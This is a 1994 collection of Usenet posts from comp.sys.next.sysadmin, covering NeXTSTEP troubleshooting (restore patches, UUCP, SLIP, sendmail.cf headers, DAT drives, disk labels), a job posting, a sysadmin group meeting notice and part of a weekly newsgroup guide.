Steve Kanefsky
From: cdl@triton.ucsd.edu (Carl Lowenstein)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: restore from backup
Date: 2 May 1994 10:08:50 -0700
Organization: Marine Physical Lab, UC San Diego
Message-ID: <2q3c32$ktk@triton.ucsd.edu>
References: <2pp78d$ncg@quartz.ucs.ualberta.ca> <1994Apr29.093555.4256@uriela.in-berlin.de> <2prfo9$hok@triton.ucsd.edu>
In article <2prfo9$hok@triton.ucsd.edu> cdl@triton.ucsd.edu (Carl Lowenstein) writes:
>In article <1994Apr29.093555.4256@uriela.in-berlin.de> perstoro@uriela.in-berlin.de writes:
>>Under 3.2 restore is not working. Get the patch from NeXT and
>>everything will be fine.
>
>How about a clue from somebody. How does one get this patch from NeXT?
>
>It doesn't seem to be on ftp.next.com.
Silly me. I thought I could find something on ftp.next.com by reading
the Index file. I should have looked in the obvious place :-)
/pub/NeXTanswers/CompressedFiles/Patches/RestorePatch.29807.16
which contains the two files
2058 1554_RestorePatch.ReadMe.compressed
128033 1555_RestorePatch.pkg.compressed
carl
-
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clowenstein@ucsd.edu
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From: chuck@benatong.com (Charles G. Bennett)
Subject: Re: /etc/reboot - cool man page!
Message-ID: <Cp6Ft4.Htt@benatong.com>
Sender: usenet@benatong.com
Organization: BenaTong
References: <2q1rjt$ns7@taco.cc.ncsu.edu>
Date: Mon, 2 May 1994 13:22:16 GMT
[munched]
> -n Avoids the sync. It can be used if a disk or the pro-
> cessor is on fire.
> [...]
>
> Look, if my disk or processor is on fire, I'm not gonna worry about not
> syncing the drives. I'm gonna pull the plug.
>
> Generic question: who would WANT to reboot the machine if it's on
> fire?!?
>
I wonder if thats a trivia reference to an old undocumented "Halt and Catch
Fire" instruction. If I remember correctly the 68K had an instruction that
was used for factory testing. It stopped the processor but kept incrementing
the address lines. Made for some fun watching a process control system have
all it's io ports (memory mapped of-course) take hit points..
Now back to you regularly scheduled programming..
[munched]
From: michael@cogito.iaee.tuwien.ac.at (Michael Suessner)
Newsgroups: comp.sys.next.sysadmin
Subject: Invalid Label of disk
Date: 2 May 1994 21:21:01 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2q3qrt$3gd@email.tuwien.ac.at>
Keywords: boot,building disks
I am using a DEC PC with an internal IDE disk and two SCSIinternal hard disks.
I tried to install an external SCSI 1 GB disk, but during the file system check
the mach crashes because of a the following errors "Invalid disk label".
The disk isn't formatted for use with NS. How can I install the disk? Can I
use fdisk to create partitions and format one of them for NS?
Thank You
Suessner Michael
Newsgroups: comp.sys.next.sysadmin
From: david@smobject.com (David Vazquez)
Subject: tin & NNTP
Message-ID: <1994May2.213248.7725@cs.uno.edu>
Sender: news@cs.uno.edu
Organization: SmartObject Technologies, Inc.
Date: Mon, 2 May 1994 21:32:48 GMT
Has anyone compiled an nntpxfer for NS/I 3.2? I have the NNTP server that
came with C-News, but it only has an nntpxmit.
Also, when I try to post articles with tin-1.22 via NNTP to my NNTP server
(you guessed it, the one that comes with C-News), I get '441 Posting failed'.
This does not happen if I post to a remote NNTP server. What could be the
problem?
Thanks for any help:
-David Vazquez "david@smobject.com"
From: steve@eps.rain.com (Steve Kornreich)
Newsgroups: comp.sys.next.sysadmin
Subject: INN1.4 for NS_FIP ?
Date: 2 May 1994 22:11:11 GMT
Organization: PSGnet, Portland Oregon, US
Distribution: world
Message-ID: <2q3tpv$ocm@rain.psg.com>
Is there a precompiled version of INN1.4 for NS_FIP? If so what ftp site??
If not, can someone please email me there config.data file.
Thanks
--
Steven Kornreich
steve@eps.rain.com
From: Roland Telfeyan <telfeyan@eecs.umich.edu>
Newsgroups: comp.sys.next.sysadmin,comp.unix.questions
Subject: how to mark bad blocks
Date: 2 May 1994 22:28:53 GMT
Organization: University of Michigan EECS Dept.
Distribution: world
Message-ID: <2q3ur5$srv@zip.eecs.umich.edu>
How do you mark bad blocks so they never get used? Can you do this on the fly
or only when intializing a disk?
I have an OD that had a write error, so I reformatted it and it ended up with
the same amount of space as all my other ODs, so why didn't the intialize
sequence check for bad blocks? How can I make it do that?
Thanks!
Roland
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Newsgroups: comp.sys.next.sysadmin
From: brad@instep.wimsey.bc.ca
Subject: Re: Invoking UUCICO directly
Message-ID: <1994May2.224853.25106@instep.wimsey.bc.ca>
Sender: brad@instep.wimsey.bc.ca (Bradley Head)
Organization: InStep Mobile Communications Inc.
References: <westesCp2y2F.C27@netcom.com>
Date: Mon, 2 May 1994 22:48:53 GMT
In article <westesCp2y2F.C27@netcom.com> westes@netcom.com (Will Estes) writes:
> I am having a UUCP problem that results in my getting mail from my
> service provider that contains oblique error messages such as:
> "file mailhost!D.uucpmaiB0Ha2 --- remote access to path/file
> denied"
>
> My mail provider wants a detailed log, so he urged me to invoke
> uucico as:
> uucico -x9 -smailhost
/usr/lib/uucp/uucico -r1 -x9 -smailhost
^^^
The r1 sets the role to master. Slave is the default role
and is not what you want.
--
Bradley Head
Software Developer, InStep Mobile Communications Inc.
brad@instep.wimsey.bc.ca (NeXTmail accepted)
604 872-7116 fax: 604 872-7125
Newsgroups: comp.sys.next.sysadmin
From: cisml@world.std.com (Marty Lebowitz)
Subject: Need your help in filling position
Message-ID: <Cp78IJ.A45@world.std.com>
Organization: The World Public Access UNIX, Brookline, MA
Date: Mon, 2 May 1994 23:42:18 GMT
May 3, 1994
Hi Folks,
We are currently looking to fill a contracting position for someone
with Systems Administration expertise in the St. Louis area.
Any referrals of qualified candidates would be greatly appreciated.
Marty
#5024 Systems Administration - NeXT Systems
Systems Administrator with SUN/OS, Solaris, NeXtStep, DEC/Ultrix
experience. Company installing new equipment including 10 work-
stations over next 30-60 days which would entail HP/UX and AIX
sysadmin coverage. Company also setting up RS6000's to support
a network operations group, and person will be supporting an
existing network management system (SUN) together with DEC/Ultrix
with 200-300 users used primarily as GUI X/Servers. Location:
(St. Louis). Other intermediate and senior level openings exists
both locally and nationally.
For immediate confidential phone interview, fax/email resume and call
Marty Lebowitz, President
Computer Interactive Services, Inc.
Tel: 617- 232-8300
Fax: 617- 232-6240
# # # #
From: uzi@anago.cse.ogi.edu (Uzi Levin)
Newsgroups: comp.sys.next.sysadmin
Subject: CD problems
Date: 3 May 1994 02:44:53 GMT
Organization: Oregon Grad. Inst. Computer Science and Eng., Beaverton
Message-ID: <2q4dr5$p8k@reuter.cse.ogi.edu>
I am having access problems with my CD drive (Plextor connected to a 486)
After booting the system I am able to insert and read a data CD. If I try
to insert an audio CD the system is not able to access it. To go back to the
data mode I have to reboot the system.
My hard drive might have been corrupted and that my cause the problem. I am
trying to avoid reloading of the operating system so any help or pointers to
the possible source of the trouble will be appreciated.
Uzi Levin
--
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> OGI, CSE Fax: (503) 690-1688 <
> P.O.Box 91000 email:uzi@cse.ogi.edu <
From: mauvais@bifrost.llnl.gov (Paul Mauvais)
Newsgroups: comp.sys.next.sysadmin
Subject: Help with problem installing 3.2....
Date: 3 May 94 02:43:06 GMT
Organization: Lawrence Livermore National Laboratory, Atmospheric and Geophysical Sciences Division
Message-ID: <mauvais.767932986@wildfire>
At my wit's end.....
I've managed to get the 3.2 CDROM to boot to the point where it
prompts me for whether or not I want to erase the disk et al.
and then it says really do it?....when I tell it yes, it complains
that HP 97548S (a NeXT 660MB drive) is an unknown disk name and
then shuts the machine down.
Is there any way around this stupid thing?
Any help would be greatly appreciated!
Paul Mauvais
mauvais@llnl.gov
From: akonstan@math.macalstr.edu (Alexander V. Konstantinou)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: /etc/reboot - cool man page!
Date: 3 May 1994 01:16:23 GMT
Organization: Macalester College, Department of Computer Science
Message-ID: <2q48l7$8jf@mckinley.cit.macalstr.edu>
References: <2q1rjt$ns7@taco.cc.ncsu.edu>
Daniel C. L'Hommedieu (eagle@catt.ncsu.edu) wrote:
: I was reading the man page for /etc/reboot today, because I wanted to
: reboot my machine (the doggone swap file is over 45 megs)...
: -n Avoids the sync. It can be used if a disk or the pro-
: cessor is on fire.
: [...]
: Generic question: who would WANT to reboot the machine if it's on
: fire?!?
Useful when you have zombie processes that refuses to die and so a normal
reboot cannot be completed (i.e. anything to do with a floptical on NS3.2).
Sync manually and then halt immediately (its basically stylistics here but
I really hate to pull the cord of a machine). Anyways, who said that UNIX
system developers lack humor ... ever come across a hex constant like
#cafebabe.
--
Alexander V. Konstantinou akonstan@math.macalstr.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin
From: gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos)
Subject: Re: SLIP broken after upgrade to 3.2
Message-ID: <1994May2.205600.1655@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <Cp4xw9.AL@euler.hnv.icem.de>
Date: Mon, 2 May 1994 20:56:00 GMT
In article <Cp4xw9.AL@euler.hnv.icem.de> js@euler.hnv.icem.de(Juergen
Sell) writes:
>
> You might invoke '/usr/dialupip/bin/duioctl slipx bringup' in your
rc.local.
This problem has been fixed. Once again, the network comes through
with valuable help.
For the record, there were two problems. First, as Juergen (and
others) suggested, I had to add something like
'/usr/dialupip/bin/duioctl slip0 bringup' to rc.local. Then, I had to
move the SLIP command up a bit in rc to set up the SLIP connection
before some other network/NFS links are invoked. Everything works as
it did before I upgraded the machine from 2.2 to 3.2. What puzzles me
now, given what I've learned, is *why* SLIP worked as well as it did
before the upgrade (and these changes)... Ah well, on to the next
"glitch."
Thanks again to all!
With all good wishes,
Phil
--
G. Philippe Menos
gpmenos@firestone.princeton.edu [NeXTmail OK.]
Systems Administrator, Princeton University Libraries
voice: 609-258-5183 fax: 609-258-5571
Newsgroups: comp.sys.next.sysadmin,comp.mail.sendmail
From: (Albatross)
Subject: SEQF and UUCP mail
Message-ID: <Cp7uLA.3qK@haquer.uucp>
Keywords: seqf uucp mail sendmail uux
Sender: alby@haquer.uucp (Albatross)
Organization: The Empire Organization {TEO}
Date: Tue, 3 May 1994 07:39:10 GMT
I have this problem with using my UUCP to try and send out
mail. Well first it was unable to use the SEQF file and returned a failed
error message. I found out that I have the wrong permissions set (700 root).
Anyhow after that was fixed I ran into program number 2.
Does anybody know what would be causing this error message to appear?
[alby@empire(tcsh):252] test uunet\!<uucp_site>\!alby
uunet!<uucp_site>!alby... Connecting to uunet (uucp)...
uunet!<uucp_site>!alby... The uux mailer was killed by a bus error signal
uunet!<uucp_site>!alby... Deferred
Where would UUX receive a bus error (using NS3.0) that would cause
it to fail like-so and spool the mail?
<uucp_site> = Any UUCP site.
-Alby
Newsgroups: comp.sys.next.sysadmin
From: jgg@LoftTech.com (J. G. Gregory)
Subject: How to blow away NeXTboot?
Message-ID: <1994Apr27.152313.459@LoftTech.com>
Sender: jgg@LoftTech.com
Organization: LoftTech Incorporated
Date: Wed, 27 Apr 1994 15:23:13 GMT
A customer of ours has an Intel GX/Pro that they want to turn back into a
DOS/Windows machine.
How do you do this? They can't seem to get rid of the NeXT boot thing.
Is this documented somewhere?
--J Gregory
Newsgroups: comp.sys.next.sysadmin
From: jscoggin@netcom.com (Jerry Scoggins)
Subject: No Recycler on disk, Black HW
Message-ID: <jscogginCp7vL0.9t9@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Tue, 3 May 1994 08:00:36 GMT
Machine: TurboColor station.
I have a couple of hard drives hooked up beyond sd0a, however one of them
doesn't have a recycler. When I drag something to the trash, I get the
following message: "Folder /Gifs is located on a disk without recycler.
Continuing will really destroy the files."
The permissions at the mount point are the same as another drive that works
fine. They both have equivalent entries in /etc/fstab
They each have a .NextTrash directory, permissions are 755 on each.
I've looked through NeXTAnswers, but I didn't find anything.
Suggestions?
Thanks,
Jerry // jscoggin@netcom.com
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
From: kev@bri.hp.com (Kevin Jones)
Subject: Re: HP35480 DAT Drive
Sender: news@bri.hp.com (News User)
Message-ID: <Cp7x6M.Lnr@bri.hp.com>
Date: Tue, 3 May 1994 08:35:10 GMT
References: <2priqr$f88@nntp2.Stanford.EDU> <2ps1e6$hnn@news.mic.ucla.edu>
Organization: Hewlett-Packard
Followup-To: comp.sys.next.sysadmin,comp.periphs.scsi
Ivo Welch (ivo@next.agsm.ucla.edu) wrote:
: However, now I have a bigger problem: I managed to write one tape, using
: SafetyNet, on the HP drive from my Intel GX/Pro with DPT SCSI EISA
: adapter. Now, when trying to restore, SafetyNet doesn't see its volume
: label anymore. So, I tried writing on another tape: impossible. (I have
: disabled MRS.) The left light is now on, the right light is blinking in
: two different colors (never off). This continues even when the tape is
: ejected. After inserting yet another tape (both lights blink on and off
: for a while), same symptom.
The 2-color blink indicates the drive is having a lot of read/write
errors. In order of likelihood...
1. It needs cleaning
2. The tape is of poor quality or worn out
3. The drive has genuine hardware problems
The 2-color blink can be made to disappear by using a cleaning
cartridge or by power cycling the drive. The drive has set an
internal flag to say "irritate user until a cleaning cartridge is
seen". I would recommend the cleaning cartridge.
: So, either my dip switches are set incorrectly (at the moment, all are set
: to "ON" which is what it is supposed to be on PCs; workstations seem to
: have different configurations, but HP does not provide docs why it is set
: differently for different hosts), or my drive is broken.
: What should the dip switches be?
Leave them set to "all on". This is correct for 99% of PC's and
all HP workstations.
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Kevin Jones. | Hewlett Packard Ltd,
| Computer Peripherals Bristol,
kev%hpcpbla@hplb.hpl.hp.com | Filton Road,
| Stoke Gifford,
| Bristol. BS12 6QZ.
| ENGLAND.
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Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
From: kev@bri.hp.com (Kevin Jones)
Subject: Re: HP35480 DAT Drive
Sender: news@bri.hp.com (News User)
Message-ID: <Cp7xtC.MrB@bri.hp.com>
Date: Tue, 3 May 1994 08:48:47 GMT
References: <2pokhl$mpv@news.mic.ucla.edu> <Cp0w3C.K6D@bri.hp.com> <2q37vl$po0@nwfocus.wa.com>
Organization: Hewlett-Packard
Followup-To: comp.sys.next.sysadmin,comp.periphs.scsi
Steve Kanefsky (kanefsky@halcyon.halcyon.com) wrote:
: A couple questions:
:
: Does HP sell their drives direct, or only through resellers?
Both.
: Are there
: external versions with the HP logo,
You can buy a C1530 direct off HP (an HP boxed C1533 drive).
This will be far more costly than buying via resellers
(sorry, I don't have pricing for this at the moment).
HP also sells its boxed drives thru dealers under the "JetStore"
brand name, but currently only does DDS1 drives (ie. there is no
DDS2 JetStore drive).
: Does the C1533A read and write regular DDS-DC tapes without having to be
: reconfigured?
Yes. It will write DDS1 format on 60m and 90m tapes. It will write
DDS2 format on 120m tapes. Identification of tape length is
automatic via holes on the underside of the cartridge.
: What would the native transfer rate be on a 60m or 90m DDS
: tape in a C1533A?
510 Kbytes/Sec, the same as for 120m DDS2 tape.
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Kevin Jones. | Hewlett Packard Ltd,
| Computer Peripherals Bristol,
kev%hpcpbla@hplb.hpl.hp.com | Filton Road,
| Stoke Gifford,
| Bristol. BS12 6QZ.
| ENGLAND.
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From: tal@Warren.MENTORG.COM (Tom Limoncelli)
Newsgroups: comp.sys.next.sysadmin,comp.sys.sgi.admin,comp.sys.sun.admin,comp.unix.admin,comp.unix.large,comp.unix.misc,comp.unix.solaris,comp.unix.ultrix,comp.unix.unixware,nj.events,nj.misc,nyc.announce,phl.announce
Subject: TONIGHT's $GROUPNAME EVENT (NEW JERSEY)
Followup-To: comp.unix.admin
Date: 2 May 1994 09:16:58 -0400
Organization: Mentor Graphics -- IC Group, Warren, NJ, USA
Sender: tal@Warren.MENTORG.COM
Distribution: world
Message-ID: <2q2uga$3u5$1@sdl.Warren.MENTORG.COM>
To: groupname-announce@warren.mentorg.com,sage-announce@usenix.org,njcabal@draco.rutgers.edu,bblisa-announce@cs.umb.edu
$GROUPNAME is an organization for UNIX system administrators in New
Jersey formed to facilitate information exchange pertaining to the
field of Unix system administration. $GROUPNAME is not affiliated with
a particular hardware or software vendor or company.
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$ G R O U P N A M E C A L E N D A R
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MAY:
Monday, May 2, 7:30pm - 9:30pm
"Why would a sysadmin want to run OSF's DCE?"
by Rich Salz, of OSF and INN fame.
Location: Digital, Manalapan (about 45 minutes from Newark Airport)
Directions: see end of this message.
Rich Salz is on staff at OSF in Cambridge, MA developing some
of the networking protocols involved in DCE. He is also the
author of INN, the software that most sites on the internet use
to transmit netnews.
JUNE:
Thursday, June 16, 7:00pm
Cluster Group meetings
Topic: TBA
All are invited to cluster group meetings! They are
social as well as technical. If there isn't
one in your area, why not start one? The only
requirement is that they are all cluster groups
meet simultaniously and have the same topic (yeah, right).
This is the second Cluster Night. The first one was
amazingly successful.
CENTRAL JERSEY: The Carousel Diner, Rt 22 in Plainfield.
SOUTH JERSEY: Still looking for volunteers.
NORTH JERSEY: Still looking for volunteers.
JULY:
Thursday, July 21, time TBA
Topic: TBD
Location: Mt. Laurel
See you there!
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echo get groupname decmap | mail majordomo@warren.mentorg.com
(Digital is marked by the X in the lower right. Close to
the M on route 9.)
*** From Newark Airport to Digital, Manalapan (~45 minutes) :
- Exit Airport, watch for and follow signs for SOUTH I95
and New Jersey Turnpike (NJTP) South
- Enter NJTP Southbound (towards Trenton)
- Follow NJTP South to Exit #11 Garden State Parkway (GSP)
- Enter GSP South
- Follow GSP over large bridge (Raritan River),
pay toll (.35), keep RIGHT to Exit 123 (Route 9 South)
- Follow Route 9 South to Taylors Mill Road
(~11.5 miles) Shell & Exxon gas stations on diag.
corners from office
- Take Taylors Mill "exit", make left onto Taylors
Mill Road, cross Rt. 9 at light, and enter Justin
Corporate Center parking lot on right. Building
closest to intersection is Digital.
(Red brick, two story, sign on building)
*** From Piscataway, Somerville, and Morristown Areas:
- I-287 South to the Garden State Parkway (GSP).
- GSP South over bridge (Raritan River), pay toll
(.35), keep RIGHT to Exit 123 (Route 9 South)
- Follow Route 9 South to Taylors Mill Road
(~11.5 miles) Shell & Exxon gas stations on diag.
corner from office
- Take Taylors Mill "exit", make left onto Taylors
Mill Road, cross Rt. 9 at light, and enter Justin
Corporate Center parking lot on right. Building
is closest to intersection is Digital.
(Red brick, two story, sign on building)
*** From Philadelphia area,
Take New Jersey Turnpike North to exit 8.
Follow directions from The Princeton Area
*** From The Princeton Area
- Route 33 EAST to Freehold area
- Route 9 NORTH, (following signs for Taylors Mill Road)
- Take Taylors Mill "exit" make a right onto
Taylors Mill Road and enter the Justin Corporate
Center parking lot on the right. Building is
closest to intersection is Digital.
(Red brick, two story, sign on building)
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"Possessing a physical extension." -TSA |
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: No Recycler on disk, Black HW
Date: 3 May 1994 10:18:38 GMT
Organization: San Francisco State University
Message-ID: <2q58du$sfg@nic-nac.CSU.net>
References: <jscogginCp7vL0.9t9@netcom.com>
In article <jscogginCp7vL0.9t9@netcom.com> jscoggin@netcom.com
(Jerry Scoggins) writes:
>They each have a .NextTrash directory, permissions are 755 on each.
That's your problem. They need to be 1777 (the only way 755
could work would be if the disk were automounted with file
ownerships disregarded).
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: andyc@viking.e-eng.hull.ac.uk (Andrew Carnegie)
Subject: Re: talkd problems ?
Message-ID: <Cp83B5.FyL@dcs.hull.ac.uk>
Sender: news@dcs.hull.ac.uk
Organization: Deptartment Of Computer Science, The University of Hull, UK
References: <1994Apr26.153945.28436@dgbt.doc.ca>
Date: Tue, 3 May 1994 10:47:29 GMT
In article <1994Apr26.153945.28436@dgbt.doc.ca> daniel@dgbt.doc.ca (Daniel
Lauzon) writes:
> I am running NS 3.2 on intel GX,
> I can't seem to invoke talk even to myself from two running shells.
>
> The reported error is :
> can't figure out network address.
>
> Does this have something to do with a faulty netinfo setup ??
> Just looking for pointers, thought somone might find this completely
obvious.
>
Michael "C." Cam <mike@ceramics.cmpe.ubc.ca> posted with this problem
a couple of weeks ago. I mailed a solution to him and he said it
worked okay. He had black not white, but here is a transcript of the mail
anyway:
> In comp.sys.next.software article <2mlpnj$5ie@nntp.ucs.ubc.ca> you
wrote:
> >
> > I have tried to respond back or even initiate talk by
> >
> > talk someone@somewhere
> >
> > but all I get is
> >
> > talk: ceramics: Can't figure out network address.
> >
> > Any help would be appreciated. Thanks in advance.
>
> I had this problem. It lasted for about a year and left me
scratching
> my head for ages. It also affected Emacs.app, and the monitor said
> something like "Can't find network address" when booting.
> You need to tell ceramics that ceramics is a host. I used
NetInfoManager.app.
> Although, with hindsight it's easier to just use HostManager.app
and do
> Host>New and fill in the details. Hope this helps.
NB. his host name was ceramics so you'll have insert the name of your
box. Otherwise that should work. Best of luck.
Andy Carnegie
andyc@ee.hull.ac.uk No next mail (unfortunately)
Newsgroups: comp.sys.next.sysadmin
From: deluxe@well.sf.ca.us (Don Hurter)
Subject: Re: Resetting the hardware PROM on a Next
Sender: news@gallant.apple.com
Message-ID: <deluxe-020594182634@17.220.88.110>
Date: Tue, 3 May 1994 01:26:34 GMT
References: <1994Apr25.235558.25200@ringer.cs.utsa.edu> <2pigbn$9qr@lastactionhero.rs.itd.umich.edu>
Organization: Buzz's Towing and Wrecker Service (24 hour)
Followup-To: comp.sys.next.sysadmin
In article <2pigbn$9qr@lastactionhero.rs.itd.umich.edu>,
danno@css.itd.umich.edu (Dan Pritts) wrote:
> >On the NextStation cube (the one with the ADB mouse), how does one
> >disable the PROM (hardware) password? Do I remove the battery?
>
> you can short out two pins on the PROM to clear it immediately, but I
> don't know which two pins.
Simply turn on the machine and pick any two pins to short out. Then select
another two pins. Keep going until the PROM has been cleared. It's fast,
it's easy, and it's fun!
(The above advice comes with no warrantee, implied, inferred, or
otherwise.)
From: russell@math.mtu.edu (Russell Reid)
Newsgroups: comp.sys.next.sysadmin
Subject: attached rtf files disappeared; help?
Date: 3 May 1994 13:41:37 GMT
Organization: Michigan Technological University
Message-ID: <2q5kah$8s6@mtu.edu>
I just noticed that in several of my archive Mailboxes (black hardware,
3.1), all of the NeXT-specific mail has disappeared. Most of them made
some use of fonts, so presumably at one time there were .attach
directories with rtf files in them. I have no idea when they might have
disappeared; I have 8mm backups reaching back to the epoch :) , but
I'd like to know how this might have occurred, both to prevent it and to
avoid a probe-in-the-dark search with "restore". Anybody seen this before?
Thanks for any help you can provide!
Russell Reid
Michigan Tech University
From: shathaway@hampshire.edu (Stephen B. Hathaway)
Newsgroups: comp.sys.next.sysadmin
Subject: NS 3.2 Upgrade Killed Printer!
Date: 3 May 1994 14:54:08 GMT
Organization: Hampshire College
Distribution: world
Message-ID: <shathaway.14.0@hampshire.edu>
Keywords: NextStep, upgrade, printer
Hi,
We just upgraded our Next cube from 2.1 to 3.2. Most things seem to have
gone OK, except the printer is catatonic. Printmanager, lpq, etc. don't give
me any useful info. I called Next TS, and they said something about NetInfo,
but I can't find any way to control it(at least not without going to the
command line)
Has anyone experienced similar prblems? Any Netinfo Gurus out there?
Thanks in advance,
TTFN,
Stephen Hathaway
shathaway@hamp.hampshire.edu
(413) 582-5774
From: root@.architektur.uni-kassel.de (Operator)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: News software for NeXTSTEP ?
Date: 3 May 1994 12:14:36 GMT
Organization: IAG-CAD Zentrum der UGH Kassel
Distribution: world
Message-ID: <2q5f7c$ft6@hrz-ws11.hrz.uni-kassel.de>
References: <767868995snx@nlhds.UUCP>
There's an application thats called NewsGrazer. I think its avaiable at ftp.NeXT.com
From: michael@cogito.iaee.tuwien.ac.at (Michael Suessner)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: BuildDisk problems
Date: 3 May 1994 15:29:48 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2q5qlc$517@email.tuwien.ac.at>
Hallo
I have a Quantum PD1225S 1.2GB hard disk. I am trying to install a bootable
system using the BuildDisk application. If I do not install more than one
partion on the disk, it seems that the BuildDisk application has no trouble
to install the system, but when I want to create 2 partitions (the first has 400MB and the second uses the rest of disk space) then I get the following
errors:
- Limiting sectors to those bios-accessible, from 2395980 to 627504
- Requested partition size larger than disk
- QUANTUM PD1225S 311001/: unknown disk name
What's the problem?
Do I have an old incompatible firmware ROM?
When I use the initialize command from the WM-menu only 10kB are initialized!
Any suggestions?
Suessner Michael
Newsgroups: comp.sys.next.sysadmin
From: newman@string.harvard.edu (Michael Newman)
Subject: Problems with sendmail.cf and mail headers
Message-ID: <Cp8nux.7Dr@das.harvard.edu>
Sender: usenet@das.harvard.edu
Organization: Division of Applied Sciences, Harvard University
Date: Tue, 3 May 1994 18:11:20 GMT
Can anyone help us with our sendmail.cf setup?
We have a network of NeXT's running 3.0, which share a common
/usr/spool/mail
The file server is called "string", and the clients are numbered,
eg "string1".
What happens is that when anyone sends mail from one of the clients to
another user, the mail header does not include the proper "From:" line,
which means that Mail.app does not know how to reply. On the other hand,
there is a "From (username) (date)" line, so that reply works from the
command line mail.
If you are on the server and send mail to another user, the "From:" line
is present.
(Recently, the problem has gotten worse, and now some external mail has
the same problem. This may be connected to the fact that we just upgraded
our sendmail to 8.6.8 -- and somewhere in the documentation it mentions a
problem which sounds similar. But the original problem still stands.)
I have tried looking at our sendmail.cf and I can't see any obvious
problems (_ie_ it is set up just as it is shown in most books I have
looked). I have played around with it a lot, without any success.
Here are what I consider the header and mailer portions of the sendmail.cf
files. If you need any more information, I will be happy to let you have
it.
Thanks in advance,
Michael Newman
First, on the server:
(I have edited out the comments)
#############################
### Format of headers ###
#############################
H?P?Return-Path: <$g>
H?R?Received: $?sfrom $s $.by $j$?r with $r$.; $b
H?D?Resent-Date: $a
H?D?Date: $a
H?F?Resent-From: $q
H?F?From: $q
HSubject:
H?M?Resent-Message-Id: <$t.$i@$j>
H?M?Message-Id: <$t.$i@$j>
H?x?Full-Name: $x
# MAILER OPTIONS
Mlocal, S=11, F=rlsFDmn, A=mail -d $u, P=/bin/mail
Mprog, P=/bin/sh, S=11, F=lsDF, A=sh -c $u
Mether-mailer, P=[IPC], S=14, R=15, F=RmsFDuXLC, E=\r\n, A=IPC $h
Marpa-mailer, P=[IPC], S=23, R=24, E=\r\n, F=mDFMuXLC, A=IPC $h
Now, on the client:
#############################
### Format of headers ###
#############################
H?P?Return-Path: <$g>
HReceived: $?sfrom $s $.by $j ($v/$V) id $i; $b
H?D?Resent-Date: $a
H?D?Date: $a
H?F?Resent-From: $q
H?F?From: $q
H?x?Full-Name: $x
HSubject:
H?M?Resent-Message-Id: <$t.$i@$j>
H?M?Message-Id: <$t.$i@$j>
##### Local and Program Mailer specification
Mpop, P=/usr/athena/etc/spop, F=nlsmFDM, S=10, R=20, A=pop $u
Mlocal, P=/bin/mail, F=rlsDFMmn, S=10, R=20, A=mail -d $u
Mprog, P=/bin/sh, F=lsDFMe, S=10, R=20, A=sh -c $u
Mnull, P=/bin/echo, F=lsDFMn, S=10, R=20, A=echo $u
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 3 May 1994 14:46:29 -0400
Organization: Next Announcements
Message-ID: <2q6665$r65@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
NEXTSTEP World Wide Web Product Information Server online
NEXTSTEP Product Information Mail Server online
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
Much of this information is also available using the World Wide Web,
<http://digifix.digifix.com/index.html>
Stepwise NEXTSTEP/OpenStep WWW Information Server online
---------------------------------------------------------
A product directory built around the World Wide Web system,
this will allow full multimedia announcements by NEXTSTEP
developers, as well as the ability to browse the available
products for NEXTSTEP.
This service is online now, and can be reached at
http://digifix.digifix.com/
it can be reached using OmniWeb (available from ftp.omnigroup.com)
or Mosaic.
The entries are coming in quite quickly, and I'll be moving
the entire NEXTSTEP Third Party Catalog contents in as soon
as they become available.
NEXTSTEP Product Information Mail Server online
---------------------------------------------------------
The NEXTSTEP Product Information Mail Server is now available
for product literature and pricing from NEXTSTEP developers.
You can get information on using the mail server at
ns-products@digifix.com
Suggestions or comments can be directed to me at sanguish@digifix.com
comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
Comp.Sys.Next.Marketplace
NeXT stuff for sale/wanted. Material posted here must
not be crossposted to any other c.s.n.* newsgroup, but
may be crossposted to misc.forsale.computers.workstation
or appropriate regional newsgroups.
Comp.Sys.Next.Misc
For stuff that doesn't fit anywhere else. Anything you
post here by definition doesn't belong anywhere else in
c.s.n.*--i.e. no crossposting!!!
Comp.Sys.Next.Programmer
Questions and discussions of interest to NEXTSTEP
